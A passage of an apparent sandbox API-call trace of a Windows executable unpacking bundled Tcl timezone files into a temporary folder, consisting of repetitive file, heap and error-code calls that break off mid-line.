lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.668] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.668] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.668] CloseHandle (hObject=0x10c) returned 1 [0038.668] GetLastError () returned 0x0 [0038.668] SetLastError (dwErrCode=0x0) [0038.668] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Coral_Harbour") returned 78 [0038.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Coral_Harbour" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\coral_harbour"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.668] GetLastError () returned 0x2 [0038.668] SetLastError (dwErrCode=0x2) [0038.668] GetLastError () returned 0x2 [0038.668] SetLastError (dwErrCode=0x2) [0038.668] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Coral_Harbour", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Coral_Harbour", lpFilePart=0x0) returned 0x4d [0038.668] GetLastError () returned 0x2 [0038.668] SetLastError (dwErrCode=0x2) [0038.668] GetLastError () returned 0x2 [0038.668] SetLastError (dwErrCode=0x2) [0038.668] GetLastError () returned 0x2 [0038.668] SetLastError (dwErrCode=0x2) [0038.668] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Coral_Harbour") returned 78 [0038.668] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Coral_Harbour" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\coral_harbour"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.668] GetFileType (hFile=0x10c) returned 0x1 [0038.669] htonl (hostlong=0xc1000000) returned 0xc1 [0038.669] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.669] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc1, lpOverlapped=0x0) returned 1 [0038.670] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.670] CloseHandle (hObject=0x10c) returned 1 [0038.670] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.670] htonl (hostlong=0x40000000) returned 0x40 [0038.670] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.670] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.671] GetFileType (hFile=0x10c) returned 0x1 [0038.671] htonl (hostlong=0x1cd75800) returned 0x58d71c [0038.671] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d871c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.671] htonl (hostlong=0x8e000000) returned 0x8e [0038.671] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0038.671] htonl (hostlong=0x8e000000) returned 0x8e [0038.671] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.671] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.671] htonl (hostlong=0xd6000000) returned 0xd6 [0038.671] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd6) returned 0x550600 [0038.671] htonl (hostlong=0x8e000000) returned 0x8e [0038.671] htonl (hostlong=0xd6000000) returned 0xd6 [0038.671] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.671] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.671] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.671] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.671] CloseHandle (hObject=0x10c) returned 1 [0038.671] GetLastError () returned 0x0 [0038.671] SetLastError (dwErrCode=0x0) [0038.671] GetLastError () returned 0x0 [0038.671] SetLastError (dwErrCode=0x0) [0038.671] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.671] GetFileType (hFile=0x10c) returned 0x1 [0038.672] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.672] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.672] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.672] CloseHandle (hObject=0x10c) returned 1 [0038.672] GetLastError () returned 0x0 [0038.672] SetLastError (dwErrCode=0x0) [0038.672] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.672] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.672] GetFileType (hFile=0x10c) returned 0x1 [0038.672] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.672] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.672] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.673] CloseHandle (hObject=0x10c) returned 1 [0038.673] GetLastError () returned 0x0 [0038.673] SetLastError (dwErrCode=0x0) [0038.673] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.673] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.673] GetFileType (hFile=0x10c) returned 0x1 [0038.673] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.673] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.673] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.673] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.673] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.673] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.673] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.673] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.673] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.673] CloseHandle (hObject=0x10c) returned 1 [0038.674] GetLastError () returned 0x0 [0038.674] SetLastError (dwErrCode=0x0) [0038.674] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cordoba") returned 72 [0038.674] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cordoba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\cordoba"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.674] GetLastError () returned 0x2 [0038.674] SetLastError (dwErrCode=0x2) [0038.674] GetLastError () returned 0x2 [0038.674] SetLastError (dwErrCode=0x2) [0038.674] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cordoba", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cordoba", lpFilePart=0x0) returned 0x47 [0038.674] GetLastError () returned 0x2 [0038.674] SetLastError (dwErrCode=0x2) [0038.674] GetLastError () returned 0x2 [0038.674] SetLastError (dwErrCode=0x2) [0038.674] GetLastError () returned 0x2 [0038.674] SetLastError (dwErrCode=0x2) [0038.674] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cordoba") returned 72 [0038.674] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.674] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cordoba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\cordoba"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.674] GetFileType (hFile=0x10c) returned 0x1 [0038.674] htonl (hostlong=0xd6000000) returned 0xd6 [0038.674] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.674] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd6, lpOverlapped=0x0) returned 1 [0038.675] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.675] CloseHandle (hObject=0x10c) returned 1 [0038.676] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.676] htonl (hostlong=0x30000000) returned 0x30 [0038.676] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.676] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.676] GetFileType (hFile=0x10c) returned 0x1 [0038.676] htonl (hostlong=0xaad75800) returned 0x58d7aa [0038.676] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d87aa, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.676] htonl (hostlong=0xd7000000) returned 0xd7 [0038.677] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd7) returned 0x550600 [0038.677] htonl (hostlong=0xd7000000) returned 0xd7 [0038.677] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.677] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.677] htonl (hostlong=0xa0010000) returned 0x1a0 [0038.677] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a0) returned 0x5506e0 [0038.677] htonl (hostlong=0xd7000000) returned 0xd7 [0038.677] htonl (hostlong=0xa0010000) returned 0x1a0 [0038.677] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.677] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.677] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.677] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.677] CloseHandle (hObject=0x10c) returned 1 [0038.677] GetLastError () returned 0x0 [0038.677] SetLastError (dwErrCode=0x0) [0038.677] GetLastError () returned 0x0 [0038.677] SetLastError (dwErrCode=0x0) [0038.677] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.677] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.677] GetFileType (hFile=0x10c) returned 0x1 [0038.677] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.677] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.677] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.677] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.677] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.677] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.677] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.678] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.678] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.678] CloseHandle (hObject=0x10c) returned 1 [0038.678] GetLastError () returned 0x0 [0038.678] SetLastError (dwErrCode=0x0) [0038.678] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.678] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.678] GetFileType (hFile=0x10c) returned 0x1 [0038.678] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.678] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.678] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.678] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.678] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.678] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.678] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.678] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.678] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.678] CloseHandle (hObject=0x10c) returned 1 [0038.678] GetLastError () returned 0x0 [0038.678] SetLastError (dwErrCode=0x0) [0038.678] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.678] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.678] GetFileType (hFile=0x10c) returned 0x1 [0038.679] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.679] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.679] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.679] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.679] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.679] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.679] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.679] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.679] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.679] CloseHandle (hObject=0x10c) returned 1 [0038.679] GetLastError () returned 0x0 [0038.679] SetLastError (dwErrCode=0x0) [0038.679] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Costa_Rica") returned 75 [0038.679] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Costa_Rica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\costa_rica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.679] GetLastError () returned 0x2 [0038.679] SetLastError (dwErrCode=0x2) [0038.679] GetLastError () returned 0x2 [0038.679] SetLastError 